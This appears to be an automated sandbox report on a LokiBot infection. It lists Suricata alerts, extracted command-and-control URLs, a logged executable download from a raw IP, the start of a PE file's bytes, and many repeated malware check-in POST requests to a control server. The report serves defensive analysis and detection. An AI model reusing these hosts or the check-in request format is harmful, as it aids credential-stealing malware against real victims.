Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58495 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58683 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58613 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58683 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58553
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58715 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58675
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58683
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58736 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58708 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58736 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58606
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58629 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49756 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58497 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58650 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58613 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58736 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49756 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58708 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49756 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58708
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:49756
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58600
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58736 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58736 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58582
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58594
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58495 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58736
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58497 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58629
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58657 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58650
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58715 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58657 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58613
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58701 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58536
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58657 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58764 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58764 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58701 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58764 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58670 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58497
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58764 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58670 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58657 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58764 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58786 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58786 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58715 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58670 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58502 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58715 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58786 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58657 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58635
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58502 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58657
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58715 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58786 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58641 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58799 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58799 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58799 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58752 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58502 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58786 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58641 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58799 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58799 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58701
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58641 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58786
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58495
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58818 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58715
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58723 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58723 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58777 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58502 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58670 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58502 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58812 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:58670 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58812 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58723 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58799
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58764
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58812 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58837 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58833 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58837 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58792 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58833 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58792 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:58792 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58830 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58829 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.4:58502
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:58818 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58838 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:58834 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:58723 -> 94.156.177.41:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: 94.156.177.41/maxzi/five/fre.php

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 09:57:05 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Wed, 20 Nov 2024 01:27:09 GMTETag: "92a00-6274e0c657f44"Accept-Ranges: bytesContent-Length: 600576Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed 3a 3d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 08 09 00 00 20 00 00 00 00 00 00 e6 26 09 00 00 20 00 00 00 40 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 26 09 00 4f 00 00 00 00 40 09 00 7c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ec 06 09 00 00 20 00 00 00 08 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 7c 1d 00 00 00 40 09 00 00 1e 00 00 00 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 09 00 00 02 00 00 00 28 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 26 09 00 00 00 00 00 48 00 00 00 02 00 05 00 a8 36 00 00 0c 28 00 00 03 00 00 00 16 00 00 06 b4 5e 00 00 e0 c7 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c2 02 28 14 00 00 0a 02 03 7d 01 00 00 04 02 7b 01 00 00 04 72 01 00 00 70 20 d1 01 00 00 17 6f 35 00 00 06 02 7b 01 00 00 04 6f 37 00 00 06 26 2a 00 00 00 1b 30 03 00 1f 00 00 00 01 00 00 11 02 7b 01 00 00 04 03 04 6f 39 00 00 06 02 03 7d 02 00 00 04 17 0a de 05 26 16 0a de 00 06 2a 00 01 10 00 00 00 00 00 00 18 18 00 05 0a 00 00 02 1b 30 03 00 74 00 00 00 02 00 00 11 05 6f 15 00 00 0a 02 7b 01 00 00 04 02 7b 02 00 00 04 72 1f 00 00 70 28 16 00 00 0a 6f 3a 00 00 06 03 0a 16 0b 2b 25 06 07 9a 0c 02 7b 01 00 00 04 08 6f 17 00 00 0a 6f 3b 00 00 06 05 08 6f 18 00 00 0a de 03 26 de 00 07 17 58 0b 07 06 8e 69 32 d5 02 7b 01 00 00 04 04 6f 3c 00 00 06 17 0d de 10 26 02 7b 01 00 00 04 6f 3d 00 00 06 16 0d de 00 09 2a 01 1c 00 00 00 00 2b 00 1a 45 00 03 0a 00 00 02 00 00 06 00 5c 62 00 10 0a 00 00 02 32 02 7b 01 00 00 04 6f 41 00 00 06 2a 6e 02 28 19 00 00 0a 02 03 7d 03 00 00 04 02

Source: Joe Sandbox View	ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
Source: Joe Sandbox View	ASN Name: NET1-ASBG NET1-ASBG

Source: global traffic	HTTP traffic detected: GET /33/caspol.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 66.63.187.231Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
